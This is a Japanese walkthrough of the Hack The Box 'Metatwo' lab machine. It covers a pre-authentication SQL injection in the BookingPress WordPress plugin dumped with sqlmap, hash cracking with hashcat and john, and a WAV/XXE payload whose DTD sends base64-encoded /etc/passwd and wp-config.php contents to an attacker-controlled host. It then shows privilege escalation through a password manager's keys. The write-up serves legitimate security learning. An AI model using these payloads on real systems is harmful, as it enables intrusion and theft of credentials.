Hack the box - Metatwo
Hack the boxのMetatwoを完了したのでメモ。
難易度 | Writeupを |
---|---|
Easy | 見た |
1. nmapでrecon
2. webサーバが動いているのでアクセス
- ソースを見るとwordpressで動いてることがわかる →
wordpress 5.6.2
- ページをいくつか見ると
/event
ページでスケジューリングする機能がある →bookingpress 1.0.10
3. bookingpress
< 1.0.11
認証前のSQLIの脆弱性
- https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357
- 認証前のユーザでも、ページのソースから取得した
wpnonce
でSQLIが通る - pocを投げると通った
- 認証前のユーザでも、ページのソースから取得した
- SQLMapに食わせるために、BurpのProxy経由でリクエストを投げて保存
- curlのproxy指定は
-x
オプション
- curlのproxy指定は
4. SQLMap
リクエストのうち、パラメータtotal_service
が脆弱であることを教えてやりつつDBの一覧を取得
$ sqlmap -r bookig.req -p total_service --dbs
blog
とinformation_schema
の二つのDBが見つかったので、blog
に絞ってテーブル一覧取得
$ sqlmap -r bookig.req -p total_service -D blog --tables
wp_usersをdumpしてユーザとパスワードハッシュを取得
$ sqlmap -r bookig.req -p total_service -D blog -T wp_users --dump
5. 得られたハッシュをhashcatにかける
$ hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --username
manager
のパスワードがわかる
6. manager
のCredsでWordpressにログイン
メディアをアップロードする画面が使える → wavファイル+dtdファイルを使ったLFI
7. wavファイル + dtdファイルでLFI
payload.wavの生成
$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://<IPADDR>:<PORT>/payload.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
payload.dtdの生成
$ vim payload.dtd
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd"><!ENTITY % init "<!ENTITY % trick SYSTEM 'http://<IPADDR>:<PORT>/?p=%file;'>" >
ローカルでWebサーバを起動したら、payload.wavを管理画面からアップロード → base64エンコードされた/etc/passwd
を含んだリクエストがローカルWebサーバに着弾する
phpでdecode
$ php -aInteractive shell
php > echo zlib_decode(base64_decode('<ENCODED_DATA>'))
ユーザ一覧が得られる。jnelson
が一般ユーザっぽい
ついでに同じ要領で、wp-config.php
の中身も確認しておく → ftpのCredsが入手できる
8. ftpサーバにログイン
send_email.php
なる怪しいファイルを見つける → jnelson
のパスワードを発見
9. sshサーバにログイン
jnelson
ユーザでログイン ※このときsshコマンドが一向に進まず時間を食ったが、自分の環境だとtun0
のインタフェースのMTUを1300に減らすことで成功した
user.txt
でフラグ入手
/home/jnelson/
配下に.passpie
なるディレクトリを発見 → パスワードマネージャだとわかる
/home/jnelson/.passpie/.keys
に公開鍵と秘密鍵が含まれているので、秘密鍵だけ取り出してgpgp2john
でjohnで解析できるフォーマットに変換
10. johnにかける
$ gpg2john passpie_keys_pri.gpg > passpie_keys_pri.john$ sudo john -w:/usr/share/wordlists/rockyou.txt passpie_keys_pri.john
rootユーザがpasspieで使用するパスフレーズがわかるので、それを使って
$ passpie export <OUTPUT FILE>
でパスワードをExportする
11. PrivEsc
入手したroot
のパスワードでsu
コマンドで特権昇格 → 2つめのフラグを入手